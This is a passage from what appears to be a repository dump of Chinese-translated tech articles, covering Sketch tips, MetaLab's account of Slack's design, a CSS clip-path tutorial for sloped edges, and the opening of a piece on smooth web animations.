will allow you to paste them to Sketch._\n\nPaste image or text\n\n⌘ V\n\nPaste in Place at position 0, 0 of selected layer\n\n⌘ Shift V\n\n\nPaste at the mouse cursor from center position\n\nRight-Click > Paste Here\n\n_Vice versa, you can copy any image or text Sketch to other apps. For apps like Keynote or Pages, it’ll copy the **vector** format, which makes it infinitely scalable._\n\n### Emoji & Symbols\n\n_Emojis are increasingly popular thanks to iOS and messaging apps. It is not uncommon to use them in demos and presentation screens. “Emojis & Symbols” (**Ctrl Cmd Space**) not only allows you to insert emojis but also all the other useful symbols. Note that this feature works across all Mac apps._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Emojis.jpeg)\n\n\n### Open Recent files\n\n_If you long press the Sketch app icon on your Mac's dock, you get a list of the recent files you've opened._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Recent.jpeg)\n\n\n### Flatten to Bitmap\n\n_The more Layers, Symbols, Blurred backgrounds you have, the slower Sketch may get. Transforming them to Bitmap can help performance greatly. With Bitmaps, you have the flexibility to use as a Fill background._\n\n## Designing From Scratch\n\n_If you wish to learn how to use Sketch from a blank canvas to a functional prototype, you can watch this [hour-long video tutorial](http://designcode.io/sketch-design)._\n\n\n![](https://designcode.io/cloud/sketch/Scratch-Cover.jpeg)\n\n\n## Quick Prototyping\n\n_[Prototyping](http://designcode.io/sketch-flinto) animations can be a labour-intensive process, especially with tools that have a steep learning curve. For those who just don’t want to learn code, I think that [Flinto](http://flinto.com/mac) or [Principle](http://principleformac.com/) are perfect. They yield maximum results for little investment in time and efforts. Using their Sketch plugin, Flinto lets you import all your screens and do powerful animations in a matter of minutes._\n\n\n![](https://designcode.io/cloud/sketch/Quick-Cover.jpeg)\n\n\n## Plugins\n\n_There are hundreds of Sketch plugins out there, and more released each week. These [plugins](http://designcode.io/sketch-plugins) are my absolute favorites for boosting my productivity in Sketch._\n\n### Perspective Mockups\n\n_I used to rely on Photoshop a lot to create design presentations like the ones found on Apple’s website. I found that having an attractive hero image sells your product better as long as it explains well how it functions._\n\n\n![](https://designcode.io/cloud/sketch/Screenshot%202015-10-03%2020.32.59.jpg)\n\n\n_With [Magic Mirror](http://magicmirror.design/), you have the ability to transform screens and place them on a beautiful photo or digital composition._\n\n\n![](https://designcode.io/cloud/sketch/2015-10-03%2021_04_11.gif)\n\n\n### Generating Content\n\n_One thing that can take up a lot of time is to collect avatars and photos of people and places, and try to come up with meaningful names to make our designs more realistic. With [Content Generator](https://github.com/timuric/Content-generator-sketch-plugin), you can save a lot of hassle by quickly populating shape and text layers with a large content library._\n\n\n![](https://designcode.io/cloud/sketch/2015-10-03%2020_28_43.gif)\n\n\n### Working with Adaptive Layouts\n\n_Ever since the iPhone 6 and Multi-tasking on the iPad became available, creating a layout that’s adaptive to multiple devices has never been this important. Up until now, we had to do all that work inside Xcode or in a Web editor._ _However, thanks to the [Fluid(https://github.com/matt-curtis/Fluid-for-Sketch) plugin, you can now edit the position and size of your UI elements and the layout will automatically update. Download the [Sketch file](http://cl.ly/0I213k3a360N)._\n\n### Creating a Style Guide with Zeplin\n\n_Documentations are time-consuming and often don’t pay back quite as well. You have to spend days or weeks on them, then keep them updated manually. With each update, you have to inform your whole team about them. It’s like a major project on its own, and the rewards aren’t that great. That’s time that you could be spending on perfecting the project and getting real feedback from users._\n\n\n![](https://designcode.io/cloud/sketch/Sketch-Zeplin.jpeg)\n\n\n_That’s what [Zeplin](https://zeplin.io/) had set to solve. With their Sketch plugin, you can just export all your Artboards and the Mac app will automatically pick up alling specifications. When your team opens your designs in Zeplin, they get the latest updates, find all the sizes, distances and font properties right there. Additionally, developers will find the assets embedded and can even make comments on specific parts of your designs. Totally recommend this one!_\n"
  },
  {
    "path": "TODO/slack-s-2-8-billion-dollar-secret-sauce.md",
    "content": "> * 原文链接 : [Slack’s $2.8 Billion Dollar Secret Sauce — Medium](https://medium.com/@awilkinson/slack-s-2-8-billion-dollar-secret-sauce-5c5ec7117908#.f792cmg9t)\n* 原文作者 : [Andrew Wilkinson](https://medium.com/@awilkinson)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [张晓波](http://weibo.com/u/1897577113)\n* 校对者: [CaesarPan](https://github.com/CaesarPan)、[cdpath](https://github.com/cdpath)\n* 状态 :  完成\n\n# Slack 如此成功的秘诀\n\n“[Slack](http://www.slack.com) 成功的秘诀究竟是什么？你们究竟为他们做了什么特别的事情让它如此成功？我希望你们也能帮我打造一款同样出色的产品。” 车载蓝牙里噼噼啪啪地传来一段声音。电话的另一边是我的一位潜在客户，他是一个成功的SaaS软件公司的CEO，想聘请我们帮他重新设计产品。于是我又开始讲述起那个我已经说过数百遍的故事。\n\n在过去的一年中，几乎每天都会有客户、投资人以及想对Slack成功秘密进行逆向学习的设计同行们，对我问起这个同样的问题。这些天以来，全世界都在讨论着Slack，现在Slack拥有令人难以置信的28亿美元估值，成千上万的用户，并且还在急速增长。\n\n为什么大家会问我关于Slack的事儿？事情是这样的。我经营着一家叫[MetaLab](http://www.metalab.co)的设计机构。你可能并没有听说过我们，因为我们通常都是幕后工作者，但我敢确信你一定使用过我们设计的某款产品。2013年年末，Slack聘请我们帮他们把早期的产品原型设计打造成耀眼的产品。我们为其设计了图标，官网以及web应用和移动应用，所有这些工作我们在6周内就完成了。经过一些少量的修改打磨，直到我们把设计稿交给Slack的时候，大部分的产品设计都和最初一模一样。\n\n在近10年的经营中，至今为止Slack毫无疑问是我们最成功的产品。Slack现在估值28亿美元，拥有超过20万付费用户，而令我们最得意的是：人们一直对Slack卓越的设计津津乐道，这也是我始料未及的。\n\n2013年7月，我收到一封来自Stewart Butterfield的邮件。我立刻就认出了这个名字，他正是Flickr的联合创始人，他创办了Flickr并且卖给了雅虎。他在邮件里说，他关闭了从2009年就开始玩的游戏 [Glitch](http://en.wikipedia.org/wiki/Glitch_%28video_game%29)，并开始尝试做新的东西，他想让我们帮他设计新构思的团队协作聊天工具。\n\n我们都是[Campfire](http://www.campfirenow.com)的忠实用户，并且也尝试使用过许多相似的模仿品。我认为聊天需求已经被解决，这已经是一片饱和而嘈杂的市场了，新产品很难在这样的市场中脱颖而出。但是，我非常兴奋能有机会和Stewart共事，并且我也觉得去尝试解决一些Camfire中仍然存在的问题会相当有趣。于是我们达成合作，一切准备就绪。\n\n\n\n![](https://cdn-images-1.medium.com/max/1200/1*quxuSggwBdYkyCoYlE3OAA.png)\n\n一些早期迭代版本（2013）\n\n第一天他们给我们展示了早期的原型设计，它们看起来就像拼凑起来的在浏览器的聊天IRC（Internet Relay Chat，互联网中继聊天）。不仅丑陋还缺乏辨识度。然而6周之后，我们做出了职业生涯里最好的作品。那么，我们是如何做到把浏览器IRC打造成现在人见人爱的Slack呢？\n\n事后再来尝试分析事物成功的原因，如品尝清水的味道， _难以说清_ 。在整个过程中我们只想埋头做设计，并且一轮又一轮的迭代修改直到看起来没有问题。Slack也并不例外，我们并没有在这个过程中施展什么魔法。但回过头看，就能发现一些使它如此成功的关键因素。\n\n当你听人们谈论Slack的时候你会经常听他们提到“有趣”这个词。使用它的时候感觉并不是在乏味的工作，而是感到很放松，即使你是在用它来完成一些工作任务。但当你深入看它的本质的时候，它又几乎和别的聊天软件没什么区别。你可以创建聊天室，添加聊天成员，分享文件，群聊或私聊等等。那么，究竟是什么让Slack如此出类拔萃呢。我认为有三个关键因素。\n\n![](https://cdn-images-1.medium.com/max/1200/1*Ryu8xQJ-6KRjP73jZe4HWg.png)\n商标设计（2013）\n\n在如此嘈杂饱和的市场中，是需要一些方法才能引起人们注意的。大部分的企业软件就像70年代的廉价舞会套装，全身是冷冰冰的蓝色和灰色。所以，从商标开始，我们让Slack看起来像是纸花筒爆炸开时候的样子。充满了富有活力的蓝色、黄色、紫色还有绿色。我们给他赋予了游戏般的色彩，而不是传统的企业协作工具的样子。\n\n[**HipChat**](http://www.hipchat.com) **和 Slack 的对比**\n\n![](https://cdn-images-1.medium.com/max/1200/1*Eyy-KRgOtGcOnaAIJPV28Q.png)\n\n你会愿意使用哪一个呢？他们的功能是相似的，但一个看起来感觉暗淡沉闷，一个富有活力和乐趣。其中的差别就在于Slack使用了更多活泼的颜色，优美的无衬线字体，友好的图标和无处不在的笑脸及图标。\n\nSlack中有丰富的有趣的交互细节。Logo在载入的时候会有颜色四溅的动画，各个模块内容从屏幕的顶端滑入，切换团队的时候屏幕如扑克牌一样翻转。整个产品的交互都是在愉快轻松的滑动和跳跃中完成的。这些设计不仅仅让用户更容易理解产品的逻辑，也会让他们会心一笑。\n\n> _“我们给他赋予了游戏般的色彩，而不是传统的企业协作工具的样子。\"_\n\n你是否曾经走入过一个房间，会感到有难以表达出来的廉价感？一个专业的建筑师走进这个房间会给你列出一个详细的问题清单：不平整的墙面，有裂缝的木地板，空心的门板以及廉价的硬件设施。但大部分人普通人来说，只会有一个直觉上的廉价感觉。和精致的房子一样，卓越的软件拥有数百处的细节带给用户满意和愉快的感觉。应用中优秀的过渡效果，就带给人们这样的精致的感觉。Slack就像一所建造的很好的房子，使用起来充满了乐趣和满足感。\n\n而Slack成功不仅仅取决于它精致的外观和使用感受，还有它说独特的表达方式。在Slack中，每一个细小的部分都在展示者它的活泼幽默。通常竞品只会显示加载进度条，而Slack会显示一个有趣的提示，“想让鞭策让甜点来得更快一些么？那就把一包奥利奥倒在地上，并且趴着像牛羊一样把他们吃掉吧。” 为一天的枯燥工作带来一些有趣的小插曲，Slack就像是你的一个俏皮机器人助手，而不像其他竞品只是一个枯燥的聊天工具。这正如《星际穿越》 中的风趣TARS 和 《2001太空漫游》中冷面的HAL9000的对比一样。\n\n**Slack:**\n> TARS: 大家都还好么? 我的机器人殖民地的有足够的奴隶了么?\n\n**竞品:**\n> HAL9000: 我可以给你充分的保证我将会恢复正常工作。我仍然对任务保持极高的热情和信心。\n\n甚至 [Slack的Twitter账号](https://twitter.com/slackhq) 也更像一个热爱emoji的喜剧演员而不像一个十亿美元的企业软件公司。\n\n![](https://cdn-images-1.medium.com/max/800/1*WdSRsXcnlyeo2tZSApwYIQ.png)\n\n\n人们趋向于对所有事物都赋予人性，从宠物到无生命的物品都是这样。我们会觉得汽车的样子看起来像在微笑，或者一只远远的羔羊看起来很孤独。而Slack所拥有的活泼明快的界面、令人愉悦的交互，还有滑稽幽默的文案风格，这些综合起来让Slack赋予了个性。这样的个性会触动用户：用户会关心它，他们愿意把它分享给别人，感觉它更像是贴心的合作伙伴而不仅仅是一个工具。\n\n> _“Slack就像是你的一个俏皮机器人助手，而不像其他竞品只是一个枯燥的聊天工具。”_\n\n我小的时候，特别喜欢一家汉堡连锁店 [White Spot](http://www.whitespot.ca)。它最初只是一间在棒球馆门口的小店，85年之后它已经成为一个遍布加拿大的大型连锁店。它成功的秘密是什么？是他们洒在所有汉堡上的“Triple-O”秘密调味汁。\n\n我曾一直纠缠爸妈让他们带我去White Spot吃汉堡而不是在家自己做饭。直到我的父亲有一天说：“我们在家自己做汉堡”，他说，“你知道那种秘密调味剂就是蛋黄酱、番茄酱和一点点佐料，对吧？” 不出所料，我们在家做出了汉堡，并且证实了他们所称的秘密调味料不过就是便利店的调味品的混合物。任何人都可以做出来，但只有极少的人知道怎么做或者关心怎么做，而他们只是这种调味剂奉为秘密。\n\nSlack的秘密调味剂也同样如此，就是把我们都熟知的调味品和素材合适混合到一起。但是，把原料正确的混合却是非常困难的。在Slack中并没有什么特别的地方是Hipchat和Camfire做不出来的，本质上他们都是相似的企业聊天软件，但Slack活泼有趣，使用的时候充满乐趣，这一切组合起来让它感觉像是你生活中活生生的一个朋友。它是TARS，而不是HAL9000。\n\n过去的几个月，竞争对手们似乎终于明白过来了。他们都开始竞相模仿并专心于改进设计，但都已经太迟了。大家都已经选择了自己的机器人助手，Slack已经占据了霸主地位。\n\n[关注我的Twitter](http://www.twitter.com/awilkinson)_._\n"
  },
  {
    "path": "TODO/sloped-edges-with-consistent-angle-in-css.md",
    "content": "> * 原文地址：[Sloped edges with consistent angle in CSS](https://kilianvalkhof.com/2017/design/sloped-edges-with-consistent-angle-in-css/)\n* 原文作者：[Kilian Valkhof](https://kilianvalkhof.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Lei Guo](https://github.com/futureshine)、[John Chong](https://github.com/Goshin)\n\n# 在 CSS 中保持斜边的角度不变\n\n如果你看到上面的文字，你能看到博客的头部有一个斜边（如果想查看斜边效果，请点击原文地址，译者注），这是整个网站中我最喜欢的新设计。我用到了一个技巧，让斜边的角度不变，且不随着屏幕尺寸的变化而变化，它可以显示背景图并且不用伪元素，只需一个 HTML 元素就可以实现。以下是我实现的思路：\n\n### 需求\n\n简言之，这是一些我在实现过程中比较关心的需求：\n\n- 不随着屏幕尺寸的变化而变化\n\n- 支持（并且可以适当裁剪）背景图和前景文字\n\n- 能够跨设备工作（不用为 IE 浏览器考虑太多）\n\n如果我能尽可能保持 HTML 和 CSS 的简洁，那将是额外收获，但并不是刚性需求\n\n### 最初的想法\n\n我第一个用来实现斜边的想法就是在整个元素上使用旋转变换，但很快看出这是一条不断增加复杂性的不归路。\n\n\n    header {\n      width:100%;\n      transform:rotate(2deg);\n    }\n    \n![Markdown](http://i1.piimg.com/1949/1d093c8548f75a19.png)\n\n旋转元素使得我们可以在左上角和右上角都可以看到背景。那样也没关系，我们可以通过加大内部元素的宽度并且添加一些负偏移来解决，那样它就能恰到好处地覆盖左上角和右上角的内容了。\n\n    header {\n      width:110%;\n      top:-5%;\n      left:-5%;\n      transform:rotate(2deg);\n    }\n\n![Markdown](http://p1.bpimg.com/1949/66ff9fc9c670e1ae.png)\n\n接下来给页面或者多余的元素添加一个超出部分隐藏的属性，这样你就不会看到奇奇怪怪的水平滚动条了；\n\n    body {\n      overflow:hidden;\n    }\n    \n    header {\n      width:110%;\n      top:-5%;\n      left:-5%;\n      transform:rotate(2deg);\n    }\n\n![Markdown](http://p1.bpimg.com/1949/700c21ecaaea3afb.png)\n\n看起来很棒哈，但是如果你添加文本会怎样呢？\n\n![Markdown](http://p1.bpimg.com/1949/5da407e3b90930fb.png)\n\n现在我们的文本不光有了角度，还有点超出视窗了。为了让内容正确地适应视窗，我们需要再次往相反的方向旋转文本并设置偏移。\n\n    body {\n      overflow:hidden;\n    }\n    \n    header {\n      width:110%;\n      top:-5%;\n      left:-5%;\n      transform:rotate(2deg);\n    }\n    \n    header p {\n      margin-left:5%;\n      transform:rotate(-2deg);\n    }\n    \n![Markdown](http://p1.bpimg.com/1949/6df39c8be4aca467.png)\n\n目前为止效果很好，但你从一个固定宽度的尺寸变到响应式的尺寸的时候会出现问题。这是同一个元素，只不过更宽了一点：\n\n![Markdown](http://p1.bpimg.com/1949/8aedc93d0b8ecbd0.png)\n\n右上角又能看到一点页面背景了。唯一的办法就是增大网站的头部至超出视窗，每次屏幕尺寸增加的时候都要这样做使得它越来越复杂也变得不友好。\n\n另外，使用转换属性时会产生相当一部分的锯齿现象（边缘周围像素化），这无可置疑地会随着新浏览器版本的发布而性能得到提高，但是现在为止还没那么好。\n\n### ::after 伪元素\n\n还有一个常用的方法就是给 ::after 伪元素添加与元素自身相反的变换属性，相比上面的代码有以下优点：\n\n- 无需担心页面背景会在左上角或者右上角露出来\n\n- 无需将内容旋转回来\n\n来吧，我们试一下：\n\n    header::after {\n      position:absolute;\n      content: \" \";\n      display:block;\n      left:-5%;\n      bottom:-10px;\n      transform:rotate(2deg);\n      width:110%;\n    }\n\n![Markdown](http://p1.bpimg.com/1949/e535b8233927267d.png)\n\n**（为了方便你能看到元素的位置重叠部分显示为透明）**效果不错，但是你仍需要给 ::after 元素设置偏移让它能够完全盖住底边。如上例所示，你要给它设置得稍微宽一点那样你就不会看到左右部分的边缘了。我取消了超出部分隐藏的属性，你能看到 ::after 延伸到的位置。\n\n你需要给头部元素和 ::after 伪元素设置相同的背景填充颜色来使效果更加逼真。\n\n#### 带边框的 ::after 伪元素\n\n在 CSS 中，你可以组合使用可见和透明的边框来得到可见的三角形，这样就可以替代斜边了。我们来试一下带有角度的边框的 ::after 元素：\n\n\n    header::after {\n      position:absolute;\n      content: \" \";\n      display:block;\n      left:0;\n      bottom:-20px;\n      width:100%;\n      border-style: solid;\n      border-width: 0 100vw 20px 0;\n      border-color: transparent rgba(0,0,0,0.4) transparent transparent;\n    }\n\n![Markdown](http://p1.bpimg.com/1949/c75f78837f853d67.png)\n\n这种方式看起来很棒，也有更好的抗锯齿效果，并且即使你把宽度加大它也生效（假如你为边框宽度使用了相对尺寸的话）：\n\n![Markdown](http://p1.bpimg.com/1949/76a5ed38dd1203f3.png)\n\n除了使用边框，我还见过另一种方式那就是使用 SVG 作为 ::after 元素 100% 宽度和 100% 高度的背景图片，这也能达到相同的效果。\n\n直到现在，使用边框的方式毫无疑问看起来是最好的，并且不会有**太多**代码，但是这仍然不是最理想的，原因如下：\n\n- 你需要时刻记得 ::after 元素是绝对定位的\n\n- 很难控制你想要的角度并保持不变\n\n- 你仅限于使用填充式的背景颜色\n\n到这里，我没有一个例子使用了背景图片（单单看来那是很复杂的）但是我又实在是想在头部和尾部位置使用背景图片。::after 伪元素根本不支持这种效果，而元素旋转的方式又会在定位背景的时候造成额外的问题。\n\n所以，以上所有的选项都显得不太好，因为在不同屏幕尺寸下获得相同外观时它们将会造成代码复杂而且不灵活。\n\n### 使用 Clip-Path\n\n当转换属性和 ::after 都出局之后，我就只剩下 `clip-path` 了。\n\nClip-path 并没有[特别好的支持性](http://caniuse.com/#feat=css-clip-path)，考虑到只有 Webkit、Blink 和 Gecko 浏览器支持并且后者还需要一个 SVG 元素。幸运的是，我可以在个人博客中避开这种不利因素，那么就 Clip Path 了！\n\n直接添加一个 clip-path，你可以使用多边形函数来描绘一个梯形<sup>[\\[1\\]](#note1)</sup>（带斜边的长方形），像这样：\n\n    header {\n      clip-path: polygon(\n        0 0, /* left top */\n        100% 0, /* right top */ \n        100% 100%, /* right bottom */\n        0 90% /* left bottom */\n      );\n    }\n\n![Markdown](http://p1.bpimg.com/1949/4c7bbf165dd54283.png)\n\n这棒极了！它用一种转换属性和边框方法都没有的方式做到了！你可以添加背景图，并且也不会再有滑稽的超出部分属性了，边缘很**整齐**，只需一个`<header>` 元素就够了。\n\n唯一的一点忠告就是，因为我们描绘的多边形和元素本身有关系，所以如果元素的宽随着高度变化了，斜边的角度也就变化了。有时候看起来就像在手机上是一个比较大的角度而在视网膜屏上看起来就不像是个斜边了。这是在更宽的元素下的相同的 clip-path：\n\n![Markdown](http://p1.bpimg.com/1949/3c22c81581343388.png)\n\n在这里，斜边没那么尖锐了效果也减弱了。我想要的是无论元素在任何宽度下都能相同的斜边，所以我使用了**视窗宽度单元（viewport-width units）**来实现。\n\n### 基于宽度的计算\n\n在多边形的标记上使用百分制会使得图形依赖于元素的高度，如果我们想在宽度变化时保持斜边不变，我们需要允许改变其高度值。如果我们使用相同的比例改变宽高，斜边的角度就能保持不变。\n\n实现方法就是利用视窗宽度单元决定元素的底边和左下角定点所在的位置。在 CSS 中我们可以使用 calc 函数来实现：\n\n    header {\n      clip-path: polygon(\n        0 0,\n        100% 0,\n        100% 100%,\n        0 **calc(100% - 6vw)**\n      );\n    }\n\n现在改变宽度将会**降低左下角的顶点的位置**，创造出斜边保持不变的效果。\n\n如果你想让斜边在元素的上部，那将会更简单：第一条线设置为“6vw 0”，你根本都不需要使用 calc()。\n\n这下你可以自由地滚屏到头部（或者尾部）并且拉伸你的浏览器来查看响应式的效果了。\n\n### 火狐浏览器的支持性\n\n不幸的是，火狐浏览器只支持 SVG 的多边形来描绘一个 clip path，因此在火狐浏览器添加支持之前，人们都只会看到一个不同的角度。\n\n在火狐浏览器中创造一个 clip-path 需要一些 SVG 的知识。SVG 的 clipPath 是用真实的像素值或者 0 到 1 的百分数来描绘的。SVG 有一个叫做 `clipPathUnits=\"objectBoundingBox\"`  的属性，你可以用它来告诉浏览器获取到元素的尺寸，并应用于 clip-path。没有它，你将只能使用 SVG 的尺寸。如果你既实用了百分数的值也使用了对象盒子边框，你基本可以得到和上文中相同的多边形了：\n\n\n    <svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n      <defs>\n        <clipPath id=\"header\" clipPathUnits=\"objectBoundingBox\">\n          <polygon points=\"0 0, 1 0, 1 1, 0 0.87\" />\n        </clipPath>\n      </defs>\n    </svg>\n\n如果你看到了这些定义形式，你就能明白它和我们在 CSS clip-path 中的例子中定义的方式很相似。你可以在 CSS 文件中这样引用这些文件：\n\n    @-moz-document url-prefix() {\n      header {\n        clip-path: url(path/to/yoursvgfile.svg#header)\n      }\n    }\n\n@moz-document 是用来防止这些规则被应用于其他浏览器的一种手段。正如 [Sven Wolfermann](https://twitter.com/maddesigns/status/816673011369701381) 所言，当你在制定 polygon() 的 clip-path 之前指定了你的 url() 的 clip-path，火狐浏览器会自动退回到 url()。当给火狐浏览器添加了支持的时候，[slated for mid-april of 2017](http://jensimmons.com/post/jan-4-2017/slicing-your-page)，它也会自动开始使用 polygon()。\n\n除了不能实现不同屏幕尺寸下恒定角度之外，它具备所有 CSS 定义的 clip-path 有具备的优点，比如元素会在正常的文本流中，良好的抗锯齿边缘和随心所欲的背景设置方式。\n\n### 在 CSS 中使用恒定角度的斜边\n\n这就是如何在 CSS 中创造一个恒定角度的斜边，不用使用 `overflow:hidden`，让你能够使用多种背景样式并且只需使用一个元素就能实现。\n\n如果你想发表评论或者有任何技巧方式的改进，欢迎给我发[推特](https://twitter.com/kilianvalkhof)或者邮件（邮件地址请参阅原文连接，译者注）！\n\n**1. <a name=\"note1\"></a>感谢我的数学老师女朋友告诉我这个形状的正确名字。**（作者写技术文章也不忘撒狗粮，感觉受到了一万点伤害，译者注）"
  },
  {
    "path": "TODO/smooth-css-animations.md",
    "content": "> * 原文地址：[10 principles for smooth web animations](https://blog.gyrosco.pe/smooth-css-animations-7d8ffc2c1d29#.oqnbskp19)\n* 原文作者：[Anand Sharma](https://blog.gyrosco.pe/@aprilzero)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Scarecrow](https://github.com/xiaoheiai4719)，[Gocy](https://github.com/Gocy015)\n\n# 10 个原则让动画带你飞\n\n去年我们发布了 [**Gyroscope**](https://gyrosco.pe/) 以来，许多人问过我们做动画用的什么 JavaScript 库，我们也曾想过将它公布于众，但实际上那并不是奥妙所在。\n\n我们不想让大伙儿觉得自己需要依赖特别黑魔法的 JavaScript 插件才能解决问题。大部分时候，我们都只要对最新的浏览器和 GPU 的性能和 CSS3 加以利用就够了。\n\n其实并没有什么绚丽动画的武功秘籍，唯一的办法就是花大量时间测试和优化。但是，在经过多年的试验和浏览器性能的极限考验，我们发现了一些设计和编码的原则可以有效地提升动画表现。这些技巧能够使你的页面流畅，并且能够运行在流行的台式和移动设备的浏览器上，最重要的一点，它们还非常易于维护。\n\n![](https://cdn-images-1.medium.com/max/800/1*MkkJ55Tz5Qgnl8xMzP5I4Q.gif)\n\n技术手段和实现方式可能因人而异，但是通用性的原则几乎能无所不包。\n\n### 什么是动画？\n\n在互联网发明之前，动画就已经所处可见了，可能你需要穷尽毕生之力才能学会如何将动画做得绚丽辉煌。然而，在互联网中实现动画效果自有其独特的限制和挑战。\n\n为了实现流畅的 60 帧的动画效果，每一帧都需要在 16 毫秒内完成渲染！时间很短，所以我们需要找到最高效的方法去渲染每一帧内容，从而实现流畅的表现。\n\n![](https://cdn-images-1.medium.com/max/400/1*jOzKe6AFCM1ReUdqzhAabA.gif)\n\n![](https://cdn-images-1.medium.com/max/400/1*FgDvnrIo_NLY_mWWOevcpQ.gif)\n\n![](https://cdn-images-1.medium.com/max/400/1*s3-q-j6Qt60mWW4Ut-731A.gif)\n\n[一些经典的动画设计原则](http://the12principles.tumblr.com/)\n\n在网站上实现动画效果的方式多种多样。比如，在互联网出现之前随处可见的电影胶片，它利用手绘的渐变的胶片，每秒钟播放多帧来实现动画的错觉。\n\nTwitter 在最近的心形动画中就利用了这种方法，通过胶片绘出一个转动的精灵。\n\n![](https://cdn-images-1.medium.com/max/800/1*FuG1AF-xgf0Ie6EIuab-FA.png)\n\n这个效果也可以通过许多独立的小元素动画来实现，或者用 SVG 实现，但是那样会过于复杂，并且可能不会这么流畅。\n\n![](https://cdn-images-1.medium.com/max/800/1*6BGvScGs5cxxqPJn9qQLCA.gif)\n\n许多时候，你会想要使用 CSS 切换属性来自动实现元素改变的动画效果，这种技术被称作“tweening”—因其是在两个不同的属性值之间切换（译者注：tweening 来自 transitioning be_tween_ two different values）。它的好处是可以非常简单地取消或者替换掉而不用重新构造逻辑内容，这是完美的一劳永逸式的动画，像介绍序言等，或者如鼠标悬停等简单的交互。\n\n更多资料: [All you need to know about CSS Transitions](https://blog.alexmaccaw.com/css-transitions)\n\n![](https://cdn-images-1.medium.com/max/800/1*dKga2QEWB_ZI0nnj0m2XPA.gif)\n\n其他时候，基于关键帧的 CSS 动画属性会非常适合不断变化的背景元素。举个例子，陀螺仪中的圆环按会照预设持续转动，还有其他能够利用 CSS 动画的类型比如齿轮。\n\n为了免于后顾之忧，希望以下这些建议能极大地提高你的动画效果：\n\n> #1\n\n### 除了透明度（opacity）和切换（transform），不要改变任何属性！\n\n**即便你觉得可行，那也别冲动！**\n\n动画中百分之八十的优化会用到这项基本原则，即使是在移动端也一样。你或许以前听过这个原则，这不是我提出来的，但是很少有人去遵守。这跟“管住嘴迈开腿”一样，建议很好却也最容易被忽略。\n\n对已经习惯了这种思路的人来说这非常简单，但是对那些习惯用传统的 CSS 属性去做动画的人来说，这会是一次质的飞跃。\n\n比如，你想让某个元素小，你可以使用 **transform：scale()**，而不是改变宽度；如果你想移动它，你可以使用简单的 **transform：translateX** 或者 **transform：translateY**，从而替代乱糟糟的外补白（margin）或者内补白（padding） — 那些需要重建每一帧的页面布局。\n\n#### 为什么要这么做呢？\n\n对人类来说，改变宽度、外补白或者其他属性不是什么大事 — 甚至因为简单会更让人喜欢这么做 — 但是对电脑来说，这事儿就像天塌了一样，甚至比这更糟糕。\n\n浏览器投入了九牛二虎之力来优化这些操作，切换属性（transform）真的非常容易且高效，并且能够充分利用显卡，并且不用重新渲染元素。\n\n第一次加载页面的时候，你可能会觉得抓狂 — 处理所有圆角、引入图像、给一切添加阴影，如果你毫不在乎那么甚至可以再做一个动态羽化。如果这种情况只会发生一次，多一些计算时间也没关系。但是一旦内容渲染完成了，你绝对不会再想要重新加载！\n\n更多内容: [Moving elements with translate (Paul Irish)](https://www.paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/)\n\n> #2\n\n### **用非常清楚的方式隐藏内容**\n\n**使用 pointer-events 属性：仅仅利用透明度隐藏元素**\n\n或许会有跨浏览器的警示，但是如果你只是面向 webkit 和其他流行的浏览器，它将会让你如虎添翼。\n\n很久以前，动画效果必须由 jQuery 的 animate() 方法来处理，许多复杂的淡入淡出效果的处理是通过 display 的属性值切换实现的。太早显示，那么动画还没完成，但是太晚的话就会在页面上显示一片空白，总是需要回调函数去给执行完的动画擦屁股。\n\nCSS 中的 pointer-events 属性（尽管已经存在很长时间，但是不经常使用）只是让元素失去了点击和交互的响应，就好像它们不存在一样。它能通过 CSS 控制显示或隐藏，不会打断动画也不会影响页面的渲染或可见性。\n\n除了将 opacity 设置为零，它和将 display 设置为 none 具有相同的效果，但是不会触发新的渲染机制。需要隐藏元素的时候，我会将它的 opacity 设置为 0 并将 pointer-events 设置为 off，然后就任由其自生自灭啦。\n\n这样做尤其适用于绝对定位的元素，因为你能够自信满满地说他们绝对不会影响到页面中的其他元素。\n\n它有时也会剑走偏锋，因为动画的时机并不总那么完美 — 比如一个元素在不可见状态下仍然可以点击或者覆盖了其他内容，或者只有当元素淡入显示完全的时候才可以点击，但是不要灰心，会有办法解决的。（下文会提到解决办法，译者注）\n\n> #3\n\n### 不要一次给所有内容都设置动画\n\n**用动作编排加以替代**\n\n单一的动画会很流畅，但是和其他许多动画一起也许就完全乱套了。编写一个流畅的全员动画的例子很简单，但当数量级上升到整个网站时性能就很难维持了。因此，合理安排好每个元素非常重要。\n\n你需要将所有的时间节点安排好，来避免所有的动画内容同时开始或进行。典型的例子，2 或 3 个动画同时进行可能不会出现卡慢的现象，尤其是在它们开始的时间略有不同的情况下。但是超过这个数量，动画就可能发生滞缓。\n\n理解**动作编排**这个概念非常重要，除非你的页面真的只有一个元素。它貌似是舞蹈领域的东西，但是在动画界它同样的重要。每个内容都要在合适的方向和时机出现，即使它们相互分离，但是它们要给人一种按部就班的感觉。\n\n谷歌的 material design 有几点关于动作编排的有趣建议，虽然这并不是实现目标的不二法门，但总有一些是你应该去考虑和尝试的。\n\n![](https://cdn-images-1.medium.com/max/800/1*l3nlHJxVEvs6mwSzCt34Fg.png)\n\n更多内容： [Google Material Design · Motion](https://material.google.com/motion/material-motion.html)\n\n> #4\n\n### 适当增加切换延时能够更简单地编排动作\n\n动画的编排非常重要，同时也会做大量的试验和测试才能恰如其分。然而，动画编排的代码并不会非常复杂。\n\n我通常会改变一个父元素（通常是 body）的 class 值来触发一系列的改变，这些改变有着各不相同的切换延时以便能够适时展现。单从代码来看，你只需要关心状态的变化，而不用担心一堆时间节点的维持。\n\n![](https://cdn-images-1.medium.com/max/800/1*1-oJmR242qUrcNke-RLFgQ.gif)\n\n[Gyroscope Chrome Extension](https://gyrosco.pe/chrome/) 